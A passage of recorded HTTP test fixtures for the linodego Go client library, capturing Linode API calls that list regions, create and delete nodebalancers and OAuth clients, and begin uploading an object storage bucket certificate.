1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228225}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441136, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-42.ip.linodeusercontent.com", "ipv4": "172.232.86.42", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: GET response: body: '{"data": [{"id": 441136, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-42.ip.linodeusercontent.com", "ipv4": "172.232.86.42", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "383" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441136 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228225 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestOAuthClient_GetFound.yaml000066400000000000000000000112671455402072200322600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"redirect_uri":"https://example.com","label":"go-client-test","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients method: POST response: body: '{"id": "6a578fb048164894c078", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "4b70eed2c372021630eff97297ea0bf398e63907aad929111355e47af1eea03a", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/6a578fb048164894c078 method: GET response: body: '{"id": "6a578fb048164894c078", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/6a578fb048164894c078 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestOAuthClient_GetMissing.yaml000066400000000000000000000021201455402072200326020ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestOAuthClients_List.yaml000066400000000000000000000116321455402072200316370ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"redirect_uri":"https://example.com","label":"go-client-test","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients method: POST response: body: '{"id": "4564958b19566e4ff3ba", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "c0ea72902eace380721236c58a749b621db1476e15c45833017ae11487f9c383", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients method: GET response: body: '{"data": [{"id": "4ccb3f776916c3d32071", "redirect_uri": "http://localhost:3000/oauth/callback", "label": "fdg", "status": "active", "secret": "", "thumbnail_url": null, "public": true}, {"id": "4564958b19566e4ff3ba", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "", "thumbnail_url": null, "public": true}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "415" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/4564958b19566e4ff3ba method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageBucketCert.yaml000066400000000000000000000313141455402072200330100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"linode-obj-bucket-cert-test.xyz"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "linode-obj-bucket-cert-test.xyz.us-east-1.linodeobjects.com", "label": "linode-obj-bucket-cert-test.xyz", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "202" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"certificate":"-----BEGIN CERTIFICATE-----\nMIIF3DCCA8QCCQC0dUFu1HvjazANBgkqhkiG9w0BAQsFADCBrzELMAkGA1UEBhMC\nVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGlsYWRlbHBoaWExDzANBgNVBAoM\nBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMMH2xpbm9kZS1vYmotYnVja2V0\nLWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEWJWFkbWluQGxpbm9kZS1vYmot\nYnVja2V0LWNlcnQtdGVzdC54eXowHhcNMjAxMDA1MTg0MDUyWhcNMjExMDA1MTg0\nMDUyWjCBrzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGls\nYWRlbHBoaWExDzANBgNVBAoMBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMM\nH2xpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEW\nJWFkbWluQGxpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXowggIiMA0GCSqG\nSIb3DQEBAQUAA4ICDwAwggIKAoICAQCy4LqfRYXE314e6YkpR1BbKPH8ohO4lcMt\n+YzMUNlOC1KUktGjX8pWk4wAXYar7Mxccmbbh68pgE8iSio8V97CdQb8O64OQmre\n/y33z7Yts37/6mH5mBnfeiilVHOenQmh+4400tvF1jljU8MZSg6sLM4ZEBhfcT0V\n3yqxAwwzV8vk0t7uLRCMuDI5B4h4ZCsheCkA2roF4RGUG6KwGzf+dLSKzBcjy5ho\nh4huzp5jDYer7S86dV6/9Gwzh8CPhVaixbymHGoMbJM8lUtc/hFI+J8WVh/qLTKQ\nCcqvoZ96QU0LX2ib+ElvCMGl/UrznpHZUrGkLPfnnoxK/vKBNycJsENtWno9KgtN\nfsdmYy/blxNRW/qpi+l92f3zbjjpR